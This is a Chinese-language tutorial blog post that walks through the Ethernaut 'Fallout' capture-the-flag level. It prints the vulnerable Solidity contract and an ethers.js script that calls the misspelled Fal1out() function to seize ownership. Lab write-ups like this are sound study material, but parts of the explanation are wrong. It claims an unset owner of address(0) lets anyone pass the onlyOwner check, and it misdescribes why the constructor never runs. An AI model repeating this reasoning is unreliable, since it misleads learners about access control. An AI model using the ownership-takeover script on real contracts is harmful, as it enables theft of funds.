Skip to content
On this page

揭秘Ethernaut Fallout:一次令人拍案叫绝的智能合约“移形换影”

在区块链安全的世界里,CTF(Capture The Flag)比赛就像是一场智力的角逐,而Ethernaut则是其中一个臭名昭著的智能合约安全挑战平台。今天,我们将一同深入Ethernaut的一个经典关卡——Fallout,来一场精彩绝伦的智能合约“移形换影”之旅。

Fallout:一场“归属权”的攻防战

Fallout关卡的核心任务,正如其名,是**“声明合同的所有权”**。简单来说,就是我们要想方设法,让原本属于关卡作者的智能合约,其所有权落入我们的手中。听起来是不是很有意思?仿佛一场数字世界的“身份窃取”游戏!

让我们先来看看Fallout合约的庐山真面目:

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "openzeppelin-contracts-06/math/SafeMath.sol";

contract Fallout {
    using SafeMath for uint256;

    mapping(address => uint256) allocations;
    address payable public owner; // 重点来了!public owner

    /* constructor */
    function Fal1out() public payable { // 注意函数名!
        owner = msg.sender;
        allocations[owner] = msg.value;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "caller is not the owner");
        _;
    }

    function allocate() public payable {
        allocations[msg.sender] = allocations[msg.sender].add(msg.value);
    }

    function sendAllocation(address payable allocator) public {
        require(allocations[allocator] > 0);
        allocator.transfer(allocations[allocator]);
    }

    function collectAllocations() public onlyOwner {
        msg.sender.transfer(address(this).balance);
    }

    function allocatorBalance(address allocator) public view returns (uint256) {
        return allocations[allocator];
    }
}

陷阱在哪里?细思极恐的“命名游戏”

阅读合约代码,我们首先会注意到一个名为 ownerpublic 变量,它似乎记录着合约的真正主人。然后,我们看到了一个 onlyOwner 的修饰器,它严密地守护着 collectAllocations 方法,确保只有 owner 才能调用。

然而,仔细观察构造函数,你会发现一个惊天秘密!它的名字叫做 Fal1out(),而不是通常的 constructor()。在Solidity 0.6.0之前的版本中,构造函数的命名是灵活的,并不强制要求是constructor。而这个 Fal1out() 函数,正是唯一的初始化 owner 变量的地方!

这意味着什么?

  • 构造函数并未被执行: 当合约部署时,Fal1out() 函数并没有被自动调用。因此,owner 变量的值从未被设置
  • owner 变量的默认值: 对于Solidity中的地址类型,未初始化的变量默认值为 address(0),也就是0x0000000000000000000000000000000000000000。

问题来了: 如果 owner 变量始终是 address(0),那么 onlyOwner 修饰器还能起到什么作用?理论上,任何人都可以绕过 require(msg.sender == owner) 的检查!

绝妙的“移形换影”:如何夺取所有权?

Bingo!我们找到了突破口。既然 owner 变量没有被初始化,那么当有人主动调用 Fal1out() 函数时,owner 变量就会被设置为调用者的地址!

这就像一个“移形换影”的魔法,只要有人唤醒了这个沉睡的“伪构造函数”,合约的“幽灵主人”就会立刻变成他自己。

而我们,就是要成为那个施展魔法的人!

答案揭晓:用代码实现“夺权”

Ethernaut的答案部分为我们提供了使用JavaScript(通过ethers.js库)来与合约交互的代码:

javascript
import { ethers } from "ethers";

async function main() {

    const provider = new ethers.JsonRpcProvider("https://eth-sepolia.g.alchemy.com/v2/..."); // 替换为你的RPC节点
    const wallet = new ethers.Wallet("0x...", provider); // 替换为你的私钥

    const contractAddress = "0x..."; // 替换为Fallout合约的地址
    const abi = [
        "function owner() external view returns (address)",
        "function Fal1out() public payable", // 重点:就是它!
    ];
    const contract = new ethers.Contract(contractAddress, abi, wallet);
    try {
        // 关键步骤:直接调用Fal1out()函数,将owner设置为我们自己
        const tx = await contract.Fal1out();
        await tx.wait();
        console.log("成功夺取Fallout合约所有权!");
    } catch (error) {
        console.error("夺权失败:", error);
    }
}

main().then(() => process.exit(0)).catch((error) => {
    process.exit(1)
})

操作流程:

  1. 部署或连接合约: 首先,你需要获取Ethernaut提供的Fallout合约的地址。
  2. 准备你的钱包: 使用你的以太坊钱包(例如MetaMask)或者通过代码指定一个带有足够Gas费的私钥。
  3. 执行关键函数: 编写JavaScript代码,利用ethers.js库连接到Ethereuem Sepolia测试网(或者Ethernaut指定的测试网络),然后直接调用 Fal1out() 函数。
  4. 矿工确认: 等待交易被打包并确认。一旦交易成功,owner 变量的值就会被更新为你的地址!

恭喜你!你已成为Fallout的新主人!

通过巧妙地利用Solidity早期版本中构造函数命名的灵活性,以及合约未正确初始化的漏洞,我们成功地绕过了 onlyOwner 的限制,并取得了Fallout合约的所有权。这不仅仅是解开了一个CTF题目,更是对智能合约开发中细节和安全性的深刻理解。

Fallout关卡以一种出人意料的方式,教会了我们:

  • Solidity版本演进的重要性: 不同版本的Solidity在语法和语义上可能存在差异。
  • 构造函数安全: 务必使用标准的 constructor 关键字,并确保其正确执行。
  • 变量初始化的重要性: 未初始化的变量可能导致意想不到的后果。

希望这次Fallout的探险,能让你对智能合约安全有更深的认识,并在未来的区块链安全旅程中,更加游刃有余!

Built with AiAda